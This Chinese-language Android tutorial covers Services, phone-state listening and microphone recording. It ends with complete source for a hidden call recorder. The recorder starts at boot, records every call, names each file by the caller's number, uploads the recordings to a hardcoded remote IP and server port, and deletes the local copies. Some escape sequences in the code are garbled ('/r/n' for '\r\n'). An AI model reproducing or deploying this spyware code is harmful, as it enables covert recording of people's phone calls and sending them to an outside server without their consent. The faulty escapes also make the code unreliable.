【0】Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。Service的建立如下:
第一步:继承Service类
public class SMSService extends Service { }
第二步:在AndroidManifest.xml文件中的<application>节点里对服务进行配置:
<service android:name=".SMSService" />
服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不同。
使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行。
使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。
采用Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onStart()方法。如果调用startService()方法前服务已经被创建,多次调用startService()方法并不会导致多次创建服务,但会导致多次调用onStart()方法。采用startService()方法启动的服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。
【1】
要实现电话,需要监听电话的状态,方法如下:
/* 取得电话服务 */ TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); PhoneStateListener listener = new PhoneStateListener(){ @Override public void onCallStateChanged(int state, String incomingNumber) { switch (state){ case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */ break; case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */ break; case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */ break; default: break; } super.onCallStateChanged(state, incomingNumber); } }; //监听电话的状态 telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
在清单文件AndroidManifest.xml中添加权限:
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
可以使用手机进行现场录音,实现步骤如下:
第一步:在功能清单文件AndroidManifest.xml中添加音频刻录权限:
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
第二步:编写音频刻录代码:
MediaRecorder recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式 recorder.setOutputFile("/mnt/sdcard/itcast.amr"); recorder.prepare();//预期准备 recorder.start(); //开始刻录 ... recorder.stop();//停止刻录 recorder.reset(); //重设 recorder.release(); //刻录完成一定要释放资源
【2】电话时使用手机麦克风进行录音,然后把录下的音频文件上传至指定的服务器
代码示例:这里只显示客户端的代码
public class PhoneListenService extends Service { private static final String TAG = "PhoneListenService"; @Override public void onCreate() { TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE); Log.i(TAG, "service created"); super.onCreate(); } private class TelListener extends PhoneStateListener { private MediaRecorder recorder; private String mobile; private File audioFile; private boolean record; @Override public void onCallStateChanged(int state, String incomingNumber) { try { switch (state) { /* 无任何状态时 */ case TelephonyManager.CALL_STATE_IDLE: if(record) { recorder.stop();//停止刻录 recorder.release(); record = false; new Thread(new UploadTask()).start(); Log.i(TAG, "start upload file"); } break; /* 接起电话时 */ case TelephonyManager.CALL_STATE_OFFHOOK: Log.i(TAG, "OFFHOOK:"+ mobile); recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式 audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp"); recorder.setOutputFile(audioFile.getAbsolutePath()); recorder.prepare(); //预期准备 recorder.start(); //开始刻录 record = true; break; /* 电话进来时 */ case TelephonyManager.CALL_STATE_RINGING: Log.i(TAG, "incomingNumber:"+ incomingNumber); mobile = incomingNumber; break; default: break; } } catch (Exception e) { Log.e(TAG, e.toString()); } super.onCallStateChanged(state, incomingNumber); } private final class UploadTask implements Runnable { @Override public void run() { try { Socket socket = new Socket("220.113.15.71", 7878); OutputStream outStream = socket.getOutputStream(); String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=/r/n"; outStream.write(head.getBytes()); PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream()); String response = StreamTool.readLine(inStream); String[] items = response.split(";"); String position = items[1].substring(items[1].indexOf("=")+1); RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r"); fileOutStream.seek(Integer.valueOf(position)); byte[] buffer = new byte[1024]; int len = -1; while( (len = fileOutStream.read(buffer)) != -1) { outStream.write(buffer, 0, len); } fileOutStream.close(); outStream.close(); inStream.close(); socket.close(); audioFile.delete(); } catch (Exception e) { Log.e(TAG, e.toString()); } } } } //清空缓存目录下的所有文件 @Override public void onDestroy() { File[] files = getCacheDir().listFiles(); if(files!=null) { for(File f: files) { f.delete(); } } Log.i(TAG, "Service Destroy"); super.onDestroy(); } @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } }
public class BootBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Intent service = new Intent(context, PhoneListenService.class); context.startService(service); } }
public class StreamTool { public static void save(File file, byte[] data) throws Exception { FileOutputStream outStream = new FileOutputStream(file); outStream.write(data); outStream.close(); } public static String readLine(PushbackInputStream in) throws IOException { char buf[] = new char[128]; int room = buf.length; int offset = 0; int c; loop: while (true) { switch (c = in.read()) { case -1: case '/n': break loop; case '/r': int c2 = in.read(); if ((c2 != '/n') && (c2 != -1)) in.unread(c2); break loop; default: if (--room < 0) { char[] lineBuffer = buf; buf = new char[offset + 128]; room = buf.length - offset - 1; System.arraycopy(lineBuffer, 0, buf, 0, offset); } buf[offset++] = (char) c; break; } } if ((c == -1) && (offset == 0)) return null; return String.copyValueOf(buf, 0, offset); } /** * 读取流 * @param inStream * @return 字节数组 * @throws Exception */ public static byte[] readStream(InputStream inStream) throws Exception { ByteArrayOutputStream outSteam = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len = -1; while( (len=inStream.read(buffer)) != -1) { outSteam.write(buffer, 0, len); } outSteam.close(); inStream.close(); return outSteam.toByteArray(); } }